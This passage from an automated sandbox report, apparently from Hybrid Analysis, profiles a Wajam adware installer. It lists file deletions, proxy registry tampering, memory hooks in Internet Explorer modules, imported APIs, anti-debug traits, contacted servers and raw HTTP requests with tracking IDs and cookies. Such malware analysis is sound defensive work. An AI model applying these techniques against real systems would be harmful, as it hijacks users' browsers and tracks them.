  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\nsisos.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll" for deletion
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1107 (Show technique in the MITRE ATT&CK™ matrix)
- Opens file with deletion access rights
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "%TEMP%\nskE156.tmp" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Program Files\Wajam\IE\IE_approveExt.exe" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\install2.log" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\end" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Program Files\Wajam\install.log" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\DcryptDll.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\dummy.htm" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\GetVersion.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\image.bmp" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\inetc.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\IpConfig.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\nsisos.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll" with delete access
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" opened "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\" with delete access
  
  source
  
  API Call
  
  relevance
  
  7/10
System Security
- Modifies proxy settings
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Queries sensitive IE security settings
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
  
  source
  
  Registry Access
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- CRC value set in PE header does not match actual value
  
  details
  
  "uninstall.exe" claimed CRC 121175 while the actual is CRC 66158
  "WajamUpdater.exe" claimed CRC 148835 while the actual is CRC 121175
  "priam_bho.dll" claimed CRC 320203 while the actual is CRC 148835
  "IE_approveExt.exe" claimed CRC 138148 while the actual is CRC 25828
  "IpConfig.dll" claimed CRC 146691 while the actual is CRC 62524
  "MoreInfo.dll" claimed CRC 7843 while the actual is CRC 41597
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- Entrypoint in PE header is within an uncommon section
  
  details
  
  "GetVersion.dll" has an entrypoint in section "UPX1"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- Imports suspicious APIs
  
  details
  
  RegDeleteKeyA
  RegCloseKey
  RegOpenKeyExA
  RegDeleteValueA
  RegCreateKeyExA
  RegEnumKeyA
  GetFileAttributesA
  CopyFileA
  GetModuleFileNameA
  LoadLibraryA
  LoadLibraryExA
  GetFileSize
  CreateDirectoryA
  DeleteFileA
  GetCommandLineA
  GetProcAddress
  GetTempPathA
  CreateThread
  GetModuleHandleA
  FindFirstFileA
  WriteFile
  GetTempFileNameA
  FindNextFileA
  CreateProcessA
  Sleep
  CreateFileA
  GetTickCount
  ShellExecuteA
  FindWindowExA
  OpenProcessToken
  StartServiceA
  LookupAccountNameA
  CreateServiceA
  GetStartupInfoA
  GetVersionExA
  UnhandledExceptionFilter
  VirtualAlloc
  SleepEx
  InternetOpenA
  HttpSendRequestA
  InternetWriteFile
  InternetCloseHandle
  FtpOpenFileA
  InternetReadFile
  InternetConnectA
  InternetQueryOptionA
  HttpQueryInfoA
  InternetCrackUrlA
  HttpSendRequestExA
  RegCreateKeyExW
  RegDeleteKeyW
  RegOpenKeyExW
  CreateServiceW
  RegEnumKeyExW
  RegDeleteValueW
  StartServiceCtrlDispatcherW
  LoadLibraryExW
  GetModuleFileNameW
  IsDebuggerPresent
  ExitThread
  TerminateProcess
  LoadLibraryW
  GetStartupInfoW
  CreateFileW
  LockResource
  GetCommandLineW
  GetModuleHandleW
  FindResourceW
  CreateProcessW
  FindResourceExW
  FindNextFileW
  FindFirstFileW
  OpenProcess
  GetWindowThreadProcessId
  VirtualProtect
  
  source
  
  Static Parser
  
  relevance
  
  1/10
- Installs hooks/patches the running process
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote bytes "e739f676e1a6fa762e71fa76ee29fa7685e2f5766da0fa769064f9763ad5007726e4f576d16dfa76003df876804bf87600000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74811000" (part of module "WSHIP6.DLL")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote bytes "75006e00650078007000650063007400650064002000730068007500740064006f0077006e0020006f0066002000740068006900" to virtual address "0x03014000" (part of module "USER32.DLL.MUI")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote bytes "c04ef8762054f976e065f976b538fa760000000000d0607500000000c5ea60750000000088ea607500000000e968e8748228fa76ee29fa7600000000d269e874000000007dbb60750000000009bee87400000000ba18607500000000" to virtual address "0x77191000" (part of module "NSI.DLL")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote bytes "d055dc756473e5750000000051c1757594987575ee9c757575dc7775273e77750fb37b7500000000acdc60751bf76075c1086275c0d96075152e607536da6075d5d9607530c66075e0c2607542c660751bc6607586c4607572c6607500000000" to virtual address "0x704A1000" (part of module "SHFOLDER.DLL")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote bytes "fae6f576e1a6fa762e71fa76ee29fa7685e2f5766da0fa7626e4f576d16dfa76003df876804bf87600000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x742E1000" (part of module "WSHTCPIP.DLL")
  "iexplore.exe" wrote bytes "a035f76f" to virtual address "0x759C131C" (part of module "SHLWAPI.DLL")
  "iexplore.exe" wrote bytes "60cdfa6f" to virtual address "0x75D41E14" (part of module "SHELL32.DLL")
  "iexplore.exe" wrote bytes "60d2fa6f" to virtual address "0x6B45FEC4" (part of module "IEFRAME.DLL")
  "iexplore.exe" wrote bytes "b033f76f" to virtual address "0x76B9917C" (part of module "IERTUTIL.DLL")
  "iexplore.exe" wrote bytes "c03af76f" to virtual address "0x6B45FE80" (part of module "IEFRAME.DLL")
  "iexplore.exe" wrote bytes "60cdfa6f" to virtual address "0x6B45FEC0" (part of module "IEFRAME.DLL")
  "iexplore.exe" wrote bytes "b033f76f" to virtual address "0x743F1038" (part of module "VERSION.DLL")
  "iexplore.exe" wrote bytes "b033f76f" to virtual address "0x75231164" (part of module "USP10.DLL")
  "iexplore.exe" wrote bytes "70ccfa6f" to virtual address "0x759C1310" (part of module "SHLWAPI.DLL")
  "iexplore.exe" wrote bytes "60cdfa6f" to virtual address "0x759C130C" (part of module "SHLWAPI.DLL")
  "iexplore.exe" wrote bytes "3030f76f" to virtual address "0x6B45FE90" (part of module "IEFRAME.DLL")
  "iexplore.exe" wrote bytes "3030f76f" to virtual address "0x759C1380" (part of module "SHLWAPI.DLL")
  "iexplore.exe" wrote bytes "80321d0170321d0100321d0160321d0150321d0140321d0130321d01000000002cc9e475c0211d010000000090171d0150231d0100181d01601f1d0120361d010000000040361d0100000000" to virtual address "0x011D8000"
  "iexplore.exe" wrote bytes "b033f76f" to virtual address "0x011D70C0"
  "iexplore.exe" wrote bytes "b033f76f" to virtual address "0x75CD1210" (part of module "IMM32.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Reads information about supported languages
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 9 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version

Informative 36
Anti-Reverse Engineering
- Contains ability to register a top-level exception handler (often used as anti-debugging trick)
  
  details
  
  SetUnhandledExceptionFilter@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.dll (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.dll (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- PE file contains zero-size sections
  
  details
  
  Raw size of ".ndata" is zero
  Raw size of "BSS" is zero
  Raw size of "UPX0" is zero
  Raw size of ".bss" is zero
  Raw size of ".data" is zero
  
  source
  
  Static Parser
  
  relevance
  
  10/10
Environment Awareness
- Contains ability to query machine time
  
  details
  
  GetSystemTimeAsFileTime@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.dll (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
  
  ATT&CK ID
  
  T1124 (Show technique in the MITRE ATT&CK™ matrix)
- Contains ability to query the machine timezone
  
  details
  
  GetTimeZoneInformation@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  GetTimeZoneInformation@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
  
  ATT&CK ID
  
  T1124 (Show technique in the MITRE ATT&CK™ matrix)
- Contains ability to query the machine version
  
  details
  
  GetVersion@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetVersion@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetVersion@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Contains ability to query volume size
  
  details
  
  GetDiskFreeSpaceA@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetDiskFreeSpaceA@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetDiskFreeSpaceA@KERNEL32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1083 (Show technique in the MITRE ATT&CK™ matrix)
- Makes a code branch decision directly after an API that is environment aware
  
  details
  
  Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by "cmp eax, edi" and "je 00BFA466h" from WajamUpdater.exe (PID: 3708) (Show Stream)
  Found API call GetTimeZoneInformation@KERNEL32.dll directly followed by "cmp eax, edi" and "je 0040A466h" (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
- Possibly tries to detect the presence of a debugger
  
  details
  
  GetProcessHeap@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  GetProcessHeap@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Queries volume information
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" queries volume information of "C:\" at 00045479-00003408-0000010C-16695777819
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" queries volume information of "C:\" at 00045479-00003408-0000010C-51872632541
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" queries volume information of "%PROGRAMFILES%\Wajam\uninstall.exe" at 00045479-00003408-0000010C-51892611280
  
  source
  
  API Call
  
  relevance
  
  2/10
  
  ATT&CK ID
  
  T1120 (Show technique in the MITRE ATT&CK™ matrix)
- Queries volume information of an entire harddrive
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" queries volume information of "C:\" at 00045479-00003408-0000010C-16695777819
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" queries volume information of "C:\" at 00045479-00003408-0000010C-51872632541
  
  source
  
  API Call
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1120 (Show technique in the MITRE ATT&CK™ matrix)
- Reads the registry for installed applications
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIREFOX.EXE")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIREFOX.EXE"; Key: ""; Value: "00000000010000005A00000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006F007A0069006C006C0061002000460069007200650066006F0078005C00660069007200650066006F0078002E006500780065000000")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKU\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WAJAM")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: ""; Value: "00000000010000006000000043003A005C00500072006F006700720061006D002000460069006C00650073005C0049006E007400650072006E006500740020004500780070006C006F007200650072005C0049004500580050004C004F00520045002E004500580045000000")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\6A393ECB2861A27240D322DD407F6ADB7218B0A5.EXE")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\6A393ECB2861A27240D322DD407F6ADB7218B0A5.EXE")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
General
- Contacts domains
  
  details
  
  "www.wajam.com"
  "ajax.googleapis.com"
  "platform.twitter.com"
  "fonts.googleapis.com"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contacts server
  
  details
  
  "5.135.138.118:80"
  "172.217.7.170:80"
  "192.229.163.25:80"
  "172.217.5.234:80"
  "74.125.192.155:443"
  "192.229.163.25:443"
  "151.139.244.29:80"
  "172.217.7.131:80"
  "104.244.42.72:443"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contains PDB pathways
  
  details
  
  "d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Plugins\IpConfig.pdb"
  "%USERPROFILE%\Desktop\branches\Wajam\guillaume-update-reenable-bho\Clients\Affiliate_Executables\Util\AutoEnableBHO\Release\IE_approveExt.pdb"
  "C:\Users\%USERNAME%\Desktop\svnwajam\Clients\Updater\Release\WajamUpdater.pdb"
  "MoreInfo.dllGetCommentsGetCompanyNameGetFileDescriptionGetFileVersionGetInternalNameGetLegalCopyrightGetLegalTrademarksGetOSUserinterfaceLanguageGetOriginalFilenameGetPrivateBuildGetProductNameGetProductVersionGetSpecialBuildGetUserDefinedRSDSOO\_t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb(H`x0A(XB@E"hEMAINICON( wpwp"xpzpxxppxwwwwwwpxwwwwww( @wwpwpxwxwxxp'x""'p""j""x*"xx*#xxxxpxnnnnwnnwwwpwwwwwwwwxwwwwwxpwxxwwwwwwwwwpwp???a( 4VS_VERSION_INFO?VStringFileInfo2040904E4.CompanyName(none)~+FileDescriptionHelper plugin to retreive file information0FileVersion1.0.1.2RInternalNameThe MoreInfo NSIS Plugin8", "ModuleModule_RawREGISTRYAPPID^AB2@J2@P2@5@.3@U2@FFA`AA@bad exceptionHDA@aARSDSc`5JQC:\Users\%USERNAME%\Desktop\svnwajam\Clients\Updater\Release\WajamUpdater.pdbA]A]A]AA@]AA^A^A(^AD^AA@^AA@`^Ap^AD^AA`^AA^A^A
  _A^A^AA@^A^A^A^AA@_A$_A^AA@^AA\_Al_A`A_A_A`AH`A`AA@_A_A_A_A`AH`A`APA@_A_A_A`AH`A`AA@(`A8`A`AH`A`AA@d`At`AH`A`AA@`A`A`AA@`AA@\_AAaAaAaAD^AA@aAPo{@Wa !?!e!!!!(""""#S###FS@.U@V@hf@|f@h@k@m@m@nn@rn@n@n@Fq@-{@@n@:@6@@@M@@@w@@@@?@@dAdAdAA@A@@@}@>@", "C:\Users\%USERNAME%\Desktop\branches\Wajam\guillaume-installer-ie11-fix\Clients\Extensions\IE_BHO\source\wajam\Release\priam_bho.pdb", "untgz\MoreInfo\SRC\Release\MoreInfo.pdb"
  
  source
  
  File/Memory
  
  relevance
  
  1/10
- Creates a writable file in a temporary directory
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "%TEMP%\nsqE177.tmp"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\inetc.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\image.bmp"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\dummy.htm"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\System.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\IpConfig.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\DcryptDll.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\nsisos.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\GetVersion.dll"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Creates mutants
  
  details
  
  "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
  "Local\ZonesLockedCacheCounterMutex"
  "Local\ZonesCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex"
  "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex"
  "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_2612"
  "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX"
  "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX"
  "\Sessions\1\BaseNamedObjects\IsoScope_a34_IE_EarlyTabStart_0x4dc_Mutex"
  "\Sessions\1\BaseNamedObjects\IsoScope_a34_ConnHashTable<2612>_HashTable_Mutex"
  "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}"
  "\Sessions\1\BaseNamedObjects\IsoScope_a34_IESQMMUTEX_0_303"
  "\Sessions\1\BaseNamedObjects\IsoScope_a34_IESQMMUTEX_0_331"
  
  source
  
  Created Mutant
  
  relevance
  
  3/10
- Drops files marked as clean
  
  details
  
  Antivirus vendors marked dropped file "urlblockindex_1_.bin" as clean (type is "data")
  Antivirus vendors marked dropped file "SimpleSC.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "inetc.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "GetVersion.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows UPX compressed"), Antivirus vendors marked dropped file "IpConfig.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "System.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows")
  
  source
  
  Binary File
  
  relevance
  
  10/10
- GETs files from a webserver
  
  details
  
  "GET /installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp= HTTP/1.1
  User-Agent: NSIS_Inetc (Mozilla)
  Host: www.wajam.com
  Connection: Keep-Alive
  Cache-Control: no-cache"
  "GET /installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
  User-Agent: NSIS_Inetc (Mozilla)
  Host: www.wajam.com
  Connection: Keep-Alive
  Cache-Control: no-cache
  Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958553; APPSESSID=w3|XQpWf|XQpWf"
  "GET /installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
  User-Agent: NSIS_Inetc (Mozilla)
  Host: www.wajam.com
  Connection: Keep-Alive
  Cache-Control: no-cache
  Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958555; APPSESSID=w3|XQpWg|XQpWf"
  "GET /index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= HTTP/1.1
  Accept: text/html, application/xhtml+xml, */*
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958585"
  "GET /js/min_general_en.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: www.wajam.com
  DNT: 1
  Connection: Keep-Alive
  Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp"
  "GET /ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: ajax.googleapis.com
  DNT: 1
  Connection: Keep-Alive"
  "GET /ajax/libs/jquery/1.7/jquery.min.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: ajax.googleapis.com
  DNT: 1
  Connection: Keep-Alive"
  "GET /widgets.js?1.00434.0 HTTP/1.1
  Accept: application/javascript, */*;q=0.8
  Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
  Accept-Language: en-US
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Accept-Encoding: gzip, deflate
  Host: platform.twitter.com
  DNT: 1
  Connection: Keep-Alive
